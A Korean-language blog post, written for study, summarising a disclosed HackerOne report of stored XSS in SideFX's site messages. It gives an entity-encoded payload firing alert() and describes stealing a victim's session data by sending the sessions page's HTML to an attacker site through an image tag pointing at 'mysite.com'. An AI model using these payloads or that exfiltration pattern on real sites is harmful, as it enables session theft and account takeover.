본문 바로가기

1-day 취약점 분석

[ 1-Day ] Stored XSS in messages

본 포스팅은 학습 목적으로 작성되었으며, hackerone report를 기반으로 작성되었습니다. 

 

분석 레포트

https://hackerone.com/reports/1669764

 

SideFX disclosed on HackerOne: Stored XSS in messages

 

hackerone.com

 

XSS 공격에 대한 가능성을 조사해본 결과 메시지 기능에서 가능성을 확인했다. 메시지를 보내기 위해서는 권한이 있어야 하며, 포럼에 게시글을 올림으로써 관리자의 승인을 받을 수 있다. 

 

계정을 2개 생성 후, 피해 계정( 두번째 테스트 계정 )의 세션 ID를 훔쳐서 로그인 할 수 있었다. 쿠키를 통해 세션을 훔칠 수는 없지만, 사용자에게 https://www.sidefx.com/account/sessions/ 페이지가 존재했다. 피해자 계정을 통해 해당 페이지에 요청( https://www.sidefx.com/account/sessions/ 에 방문 요청 )을 보낸 뒤, 페이지에 제보자의 사이트 링크가 포함된 이미지를 삽입했다. get 매개변수로 base64 인코딩된 html 응답을 지정했다. 인증서 없이도 작동한다. 

 

<img src=http://mysite.com?q={HTML}>

 

재현 단계

 

1. 계정을 승인 받는다. 

2. 일부 사용자에게 메시지를 보낸다. ( 메시지 내용은 아래와 같다. )

https://example.com/&quot&gtsadf&lt/a&gt&ltimg&#32src=&quotxx&quotonerror=&quotalert&#40&#39XSS&#39&#41&quot&gt

 

3. 받은 메시지를 열람하면, alert()가 발생한다. 

 

영향

 

사이트에 포럼 사용자 목록 ( https://www.sidefx.com/forum/users/ )이 있고, 이러한 로드가 각각 사용자에게 전송될 수 있기에 이것은 매우 중요한 취약점이다.